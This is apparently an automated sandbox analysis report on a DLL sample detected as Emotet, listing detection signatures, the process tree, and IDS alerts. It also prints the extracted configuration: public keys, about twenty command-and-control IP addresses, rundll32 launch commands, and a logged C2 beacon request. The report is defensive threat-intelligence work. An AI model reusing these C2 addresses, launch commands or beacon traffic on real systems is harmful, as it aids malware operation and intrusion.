Play interactive tour

Edit tour

Windows Analysis Report pPX9DaPVYj

Overview

General Information

Sample Name:	pPX9DaPVYj (renamed file extension from none to dll)
Analysis ID:	528003
MD5:	8b540033f4ffd79e5109e41a06f3e876
SHA1:	86a8b94f1a3102ad3741fabccfe5ea5d9a3bf624
SHA256:	2b3700c2a383b322dadfebfea00d9bc85b05a37793dc366954dd8c882f3006e2
Tags:	dll
Infos:
Most interesting Screenshot:

Detection

Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Sigma detected: Emotet RunDLL32 Process Creation

Multi AV Scanner detection for domain / URL

Changes security center settings (notifications, updates, antivirus, firewall)

Machine Learning detection for sample

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

PE file contains an invalid checksum

PE file contains strange resources

Tries to load missing DLLs

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 3748 cmdline: loaddll32.exe "C:\Users\user\Desktop\pPX9DaPVYj.dll" MD5: 72FCD8FB0ADC38ED9050569AD673650E)

cmd.exe (PID: 3012 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\pPX9DaPVYj.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 4928 cmdline: rundll32.exe "C:\Users\user\Desktop\pPX9DaPVYj.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 2680 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\pPX9DaPVYj.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 4544 cmdline: rundll32.exe C:\Users\user\Desktop\pPX9DaPVYj.dll,Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 2848 cmdline: rundll32.exe C:\Users\user\Desktop\pPX9DaPVYj.dll,Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 1340 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vjqsuducipqiide\jbquc.oem",sMzvxqlLQp MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5192 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Vjqsuducipqiide\jbquc.oem",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

svchost.exe (PID: 4820 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3372 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3272 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6092 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 68 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 1304 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 1020 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 4664 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 4812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 5964 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 1000 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5272 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

Threatname: Emotet

{"Public Key": ["RUNLMSAAAADYNZPXY4tQxd/N4Wn5sTYAm5tUOxY2ol1ELrI4MNhHNi640vSLasjYTHpFRBoG+o84vtr7AJachCzOHjaAJFCW", "RUNTMSAAAAD0LxqDNhonUYwk8sqo7IWuUllRdUiUBnACc6romsQoe1YJD7wIe4AheqYofpZFucPDXCZ0z9i+ooUffqeoLZU0"], "C2 list": ["51.178.61.60:443", "168.197.250.14:80", "45.79.33.48:8080", "196.44.98.190:8080", "177.72.80.14:7080", "51.210.242.234:8080", "185.148.169.10:8080", "142.4.219.173:8080", "78.47.204.80:443", "78.46.73.125:443", "37.44.244.177:8080", "37.59.209.141:8080", "191.252.103.16:80", "54.38.242.185:443", "85.214.67.203:8080", "54.37.228.122:443", "207.148.81.119:8080", "195.77.239.39:8080", "66.42.57.149:443", "195.154.146.35:443"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.259345300.00000000028B6000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000B.00000002.778948976.0000000003173000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.261741914.000000000310A000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.258654572.0000000002AA6000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000003.257305049.0000000003146000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000B.00000003.513585241.0000000003173000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000B.00000003.328562700.0000000003173000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000003.258124529.00000000028B6000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.264342755.0000000002EB6000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000B.00000003.278848660.0000000003173000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
11.3.rundll32.exe.3186e08.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.2aa6d88.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.3.rundll32.exe.3146c98.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.28b6cb8.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
11.2.rundll32.exe.3186e08.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.2aa6d88.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.3.rundll32.exe.3146c98.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.3.rundll32.exe.28b6cb8.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.3146c98.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
11.3.rundll32.exe.3186e08.2.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.2eb6e00.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.3146c98.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
11.3.rundll32.exe.3186e08.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.28b6cb8.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
11.2.rundll32.exe.3186e08.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.2eb6e00.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 11 entries

Sigma Overview

System Summary:

Sigma detected: Emotet RunDLL32 Process Creation

Show sources

Source: Process started

Author: FPT.EagleEye: Data: Command: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Vjqsuducipqiide\jbquc.oem",Control_RunDLL, CommandLine: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Vjqsuducipqiide\jbquc.oem",Control_RunDLL, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vjqsuducipqiide\jbquc.oem",sMzvxqlLQp, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 1340, ProcessCommandLine: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Vjqsuducipqiide\jbquc.oem",Control_RunDLL, ProcessId: 5192

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 6.2.rundll32.exe.3146c98.0.raw.unpack

Malware Configuration Extractor: Emotet {"Public Key": ["RUNLMSAAAADYNZPXY4tQxd/N4Wn5sTYAm5tUOxY2ol1ELrI4MNhHNi640vSLasjYTHpFRBoG+o84vtr7AJachCzOHjaAJFCW", "RUNTMSAAAAD0LxqDNhonUYwk8sqo7IWuUllRdUiUBnACc6romsQoe1YJD7wIe4AheqYofpZFucPDXCZ0z9i+ooUffqeoLZU0"], "C2 list": ["51.178.61.60:443", "168.197.250.14:80", "45.79.33.48:8080", "196.44.98.190:8080", "177.72.80.14:7080", "51.210.242.234:8080", "185.148.169.10:8080", "142.4.219.173:8080", "78.47.204.80:443", "78.46.73.125:443", "37.44.244.177:8080", "37.59.209.141:8080", "191.252.103.16:80", "54.38.242.185:443", "85.214.67.203:8080", "54.37.228.122:443", "207.148.81.119:8080", "195.77.239.39:8080", "66.42.57.149:443", "195.154.146.35:443"]}

Multi AV Scanner detection for submitted file

Show sources

Source: pPX9DaPVYj.dll	Virustotal: Detection: 17%			Perma Link
Source: pPX9DaPVYj.dll	ReversingLabs: Detection: 17%

Multi AV Scanner detection for domain / URL

Show sources

Source: https://196.44.98.190/

Virustotal: Detection: 10%

Perma Link

Machine Learning detection for sample

Show sources

Source: pPX9DaPVYj.dll

Joe Sandbox ML: detected

Source: 7.2.rundll32.exe.28b6cb8.0.unpack

Avira: Label: TR/ATRAPS.Gen

Source: pPX9DaPVYj.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: unknown

HTTPS traffic detected: 51.178.61.60:443 -> 192.168.2.7:49751 version: TLS 1.2

Source: pPX9DaPVYj.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFC188A FindFirstFileExW,	4_2_6EFC188A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFC188A FindFirstFileExW,	5_2_6EFC188A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10011A80 FindFirstFileW,	11_2_10011A80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2404334 ET CNC Feodo Tracker Reported CnC Server TCP group 18 192.168.2.7:49751 -> 51.178.61.60:443
Source: Traffic	Snort IDS: 2404312 ET CNC Feodo Tracker Reported CnC Server TCP group 7 192.168.2.7:49752 -> 168.197.250.14:80
Source: Traffic	Snort IDS: 2404332 ET CNC Feodo Tracker Reported CnC Server TCP group 17 192.168.2.7:49753 -> 45.79.33.48:8080
Source: Traffic	Snort IDS: 2404322 ET CNC Feodo Tracker Reported CnC Server TCP group 12 192.168.2.7:49757 -> 196.44.98.190:8080
Source: Traffic	Snort IDS: 2404314 ET CNC Feodo Tracker Reported CnC Server TCP group 8 192.168.2.7:49772 -> 177.72.80.14:7080
Source: Traffic	Snort IDS: 2021013 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC) 177.72.80.14:7080 -> 192.168.2.7:49772

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 196.44.98.190 144	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.79.33.48 144	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 168.197.250.14 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 51.178.61.60 187	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 177.72.80.14 168	Jump to behavior

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 51.178.61.60:443
Source: Malware configuration extractor	IPs: 168.197.250.14:80
Source: Malware configuration extractor	IPs: 45.79.33.48:8080
Source: Malware configuration extractor	IPs: 196.44.98.190:8080
Source: Malware configuration extractor	IPs: 177.72.80.14:7080
Source: Malware configuration extractor	IPs: 51.210.242.234:8080
Source: Malware configuration extractor	IPs: 185.148.169.10:8080
Source: Malware configuration extractor	IPs: 142.4.219.173:8080
Source: Malware configuration extractor	IPs: 78.47.204.80:443
Source: Malware configuration extractor	IPs: 78.46.73.125:443
Source: Malware configuration extractor	IPs: 37.44.244.177:8080
Source: Malware configuration extractor	IPs: 37.59.209.141:8080
Source: Malware configuration extractor	IPs: 191.252.103.16:80
Source: Malware configuration extractor	IPs: 54.38.242.185:443
Source: Malware configuration extractor	IPs: 85.214.67.203:8080
Source: Malware configuration extractor	IPs: 54.37.228.122:443
Source: Malware configuration extractor	IPs: 207.148.81.119:8080
Source: Malware configuration extractor	IPs: 195.77.239.39:8080
Source: Malware configuration extractor	IPs: 66.42.57.149:443
Source: Malware configuration extractor	IPs: 195.154.146.35:443

Source: Joe Sandbox View	ASN Name: AS-CHOOPAUS AS-CHOOPAUS
Source: Joe Sandbox View	ASN Name: EcobandGH EcobandGH

Source: Joe Sandbox View

JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8

Source: global traffic

HTTP traffic detected: GET /euUFqPgNCDyXyAnWOWQLJNWJizfGCbPiK HTTP/1.1Cookie: VkztqiHrcfJdN=ApwlpkLXHikt80ZX+rUy7QNus1UrOzvArQ2wT9a3pzG/LUBUBtVLGWZUvhWo++76HscbZaar1ecNJ2NE9drzI+WYO0CrHXBK96gsrw5gCDv1H6FDJl4E1ekAk6rTT5+tRKnKwaubeNjES2yzAZ1ahqbQap+ahvLDVY0Qeg8dZyFp/mT2xfuy2YrZ9Y4gh8SdNUmOMTIzF7OqgRdAc+m0GdjTDMrrOF8BD44A4Z4RsQ0CT4V3SWcXRNU/sbnThRJ79M/3w70CfUdRJu8qNans8M5bB4RoXwYtmb2k0+VOyCLBxVpjHost: 51.178.61.60Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 207.148.81.119 207.148.81.119
Source: Joe Sandbox View	IP Address: 196.44.98.190 196.44.98.190

Source: global traffic	TCP traffic: 192.168.2.7:49753 -> 45.79.33.48:8080
Source: global traffic	TCP traffic: 192.168.2.7:49757 -> 196.44.98.190:8080
Source: global traffic	TCP traffic: 192.168.2.7:49772 -> 177.72.80.14:7080

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 24 Nov 2021 15:52:19 GMTContent-Type: text/htmlContent-Length: 162Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 168.197.250.14
Source: unknown	TCP traffic detected without corresponding DNS query: 168.197.250.14
Source: unknown	TCP traffic detected without corresponding DNS query: 168.197.250.14
Source: unknown	TCP traffic detected without corresponding DNS query: 45.79.33.48
Source: unknown	TCP traffic detected without corresponding DNS query: 45.79.33.48
Source: unknown	TCP traffic detected without corresponding DNS query: 45.79.33.48
Source: unknown	TCP traffic detected without corresponding DNS query: 196.44.98.190
Source: unknown	TCP traffic detected without corresponding DNS query: 196.44.98.190
Source: unknown	TCP traffic detected without corresponding DNS query: 196.44.98.190
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14

Source: svchost.exe, 00000018.00000003.391800601.000001961E189000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","A equals www.facebook.com (Facebook)
Source: svchost.exe, 00000018.00000003.391800601.000001961E189000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","A equals www.twitter.com (Twitter)
Source: svchost.exe, 00000018.00000003.391800601.000001961E189000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.391812241.000001961E19B000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2021-11-23T19:02:05.3195648Z\|\|.\|\|797d024d-8c74-4faa-b6a6-08435801478b\|\|1152921505694213184\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabilities":[{"Sku"
Source: svchost.exe, 00000018.00000003.391800601.000001961E189000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.391812241.000001961E19B000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2021-11-23T19:02:05.3195648Z\|\|.\|\|797d024d-8c74-4faa-b6a6-08435801478b\|\|1152921505694213184\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabilities":[{"Sku"

